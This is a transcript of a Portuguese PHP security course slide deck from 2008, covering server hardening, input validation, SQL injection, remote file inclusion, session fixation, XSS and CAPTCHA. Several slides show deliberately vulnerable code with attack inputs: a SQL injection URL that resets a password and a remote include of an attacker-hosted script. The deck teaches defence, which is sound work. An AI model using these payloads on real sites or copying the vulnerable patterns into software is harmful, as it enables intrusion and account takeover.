segurança (in portuguese)

28
Segurança Bruno Pedro <[email protected] > PHP Advanced - 19 de Setembro de 2008

Upload: bruno-pedro

Post on 05-Dec-2014

1.647 views

Category:

Technology


0 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Segurança (in portuguese)

Segurança

Bruno Pedro <[email protected]>

PHP Advanced - 19 de Setembro de 2008

Page 2: Segurança (in portuguese)

Segurança

PHP Advanced

Conteúdo

• Melhorar a segurança

• Validação de dados

• Prevenção contra scripts

• Projecto

• Resumo

2

Page 3: Segurança (in portuguese)

Segurança

PHP Advanced

Sistema Operativo

• Manter o Sistema Operativo sempre actualizado

• Instalar todas as actualizações de segurança disponibilizadas

• Desligar todos os serviços não utilizados

• Auditoria de Sistema Operativo:

• Nessus: http://www.nessus.org/

3

Page 4: Segurança (in portuguese)

Segurança

PHP Advanced

Apache

• Executar com user ID próprio

• Desligar módulo mod_autoindex

• Negar acesso a directórios não necessários

• templates, templates_c, lib, etc

• Negar acesso a ficheiros não necessários

• *.bak, *.tpl, *.*~, etc

4

Page 5: Segurança (in portuguese)

Segurança

PHP Advanced

PHP

• display_errors = Off

• log_errors = On

• error_log = /var/log/php.log

• register_globals = Off

• session.use_trans_sid = 0

• open_basedir = /directorio/do/website

• expose_php = Off

5

Page 6: Segurança (in portuguese)

Segurança

PHP Advanced

Input do utilizador

• Variáveis globais são um problema

• register_globals está desligado por omissão

• Mesmo assim convém inicializar todas as variáveis utilizadas

6

Page 7: Segurança (in portuguese)

Segurança

PHP Advanced

Input do Utilizador

7

<?php

// (...)

if ($auth) { $fullAccess = true;}

if ($fullAccess) { // (...)}

?>

Page 8: Segurança (in portuguese)

Segurança

PHP Advanced

Formulários• Nunca confiar no que o utilizador introduz num

formulário

• Nunca fazer include’s ou require’s utilizando variáveis provenientes de formulários

• Nunca manipular ficheiros utilizando variáveis provenientes de formulários

• É possível efectuar um POST a formulário através de JavaScript, mesmo sem estar na página do formulário

8

Page 9: Segurança (in portuguese)

Segurança

PHP Advanced

Formulários

9

<?php

$fp = fopen($_POST[‘username’], ‘a’);fputs($fp, ‘Nome: ‘ . $_POST[‘name’]);fclose($fp);

?>

Page 10: Segurança (in portuguese)

Segurança

PHP Advanced

Bases de Dados

• mysql_real_escape_string()

• Utilizar plicas em todos os valores sempre que possível

• Atenção a aplicações que usem paginação e validar o parâmetro correspondente ao número da página

10

Page 11: Segurança (in portuguese)

Segurança

PHP Advanced

Bases de Dados

11

<?php

// URL: // http://example.com/?table=user+SET+password=%3Dmypass%3D+%23

$res = mysql_query(‘UPDATE ‘ . $_GET[‘table’] . ‘ SET visits=visits+1 WHERE id=’ . $_GET[‘id’]);

// Query realmente executado:// UPDATE user SET password=”mypass” # SET visits=visits+1 WHERE id=

?>

Page 12: Segurança (in portuguese)

Segurança

PHP Advanced

Programas externos

• Nunca confiar em parâmetros de GET e passá-los como parâmetros de programas externos

• Utilizar sempre escapeshellarg() em todos os parâmetros de programas externos

12

Page 13: Segurança (in portuguese)

Segurança

PHP Advanced

Inclusão de Scripts

• O bug mais comum é relacionado com a inclusão de scripts baseada em parâmetros GET

• Desligar o allow_url_fopen sempre que possível para não permitir a abertura de ficheiros remotos

13

Page 14: Segurança (in portuguese)

Segurança

PHP Advanced

Inclusão de Scripts

14

<?php

// URL:// http://example.com/?page=http://mysite.com/attack

include $_GET[‘page’] . ‘.inc’;

// Na realidade é feito um include a// http://mysite.com/attack.inc// que poderá ter código malicioso

?>

Page 15: Segurança (in portuguese)

Segurança

PHP Advanced

Sessões

• Poderá ser possível injectar o ID da sessão através de parâmetro GET ou de Cookie, tomando conta de uma sessão activa

• Esta técnica tem o nome de Session Fixation ou Session Hijacking

• Utilizar a função session_regenerate_id()

15

Page 16: Segurança (in portuguese)

Segurança

PHP Advanced

XSS

• Nunca escrever directamente conteúdo proveniente de formulários ou de parâmetros GET

• É possível introduzir conteúdo num formulário que, ao ser escrito, abra uma localização remota e permita ao atacante obter informação sobre o utilizador

16

Page 17: Segurança (in portuguese)

Segurança

PHP Advanced

Prevenção contra scripts• No registo

• Garante que só um humano se consegue registar

• Evita registos em quantidade ou um ataque propositado

• Na autenticação

• Evita tentativas de obter autenticação através de força bruta

17

Page 18: Segurança (in portuguese)

Segurança

PHP Advanced

Prevenção contra scripts

• CAPTCHA

• Completely Automated Public Turing tests to tell Computers and Humans Apart

• Garante que o formulário foi preenchido por um humano

• Validação por Email

• OpenID

18

Page 19: Segurança (in portuguese)

Segurança

PHP Advanced

PEAR::Text_CAPTCHA

• Instalação

• pear install Text_CAPTCHA

• pear install Image_Text

• Obtenção de uma font TTF

19

Page 20: Segurança (in portuguese)

Segurança

PHP Advanced

PEAR::Text_CAPTCHA

20

Page 21: Segurança (in portuguese)

Segurança

PHP Advanced

PEAR::Text_CAPTCHA

21

Page 22: Segurança (in portuguese)

Segurança

PHP Advanced

PEAR::Text_CAPTCHA

22

Page 23: Segurança (in portuguese)

Segurança

PHP Advanced

reCAPTCHA

• Web Service

• Biblioteca em PHP

• Disponível em http://recaptcha.net/

• Ajuda a digitalizar livros

23

Page 24: Segurança (in portuguese)

Segurança

PHP Advanced

Validação por Email

• Tornar obrigatória a inserção do endereço de Email no formulário

• Após o formulário ter sido preenchido gerar um ID e gravá-lo juntamente com os dados

• Enviar uma mensagem ao endereço introduzido com instruções de confirmação

24

Page 25: Segurança (in portuguese)

Segurança

PHP Advanced

Projecto

• Escolher um dos mecanismos de prevenção contra scripts e implementá-lo nos formulários de registo e de autenticação

25

Page 26: Segurança (in portuguese)

Segurança

PHP Advanced

Resumo

• Melhorias na segurança

• XSS

• CAPTCHA

• Validação por Email

• Implementação

26

Page 27: Segurança (in portuguese)

OOP em PHP

PHP Summer School

Questões?

27

Page 28: Segurança (in portuguese)

Segurança

PHP Advanced

Mais informação

28

• O meu blog: http://unfoldingtheweb.com/

• Manual de PHP: http://www.php.net/

• PEAR: http://pear.php.net/

• reCAPTCHA: http://recaptcha.net/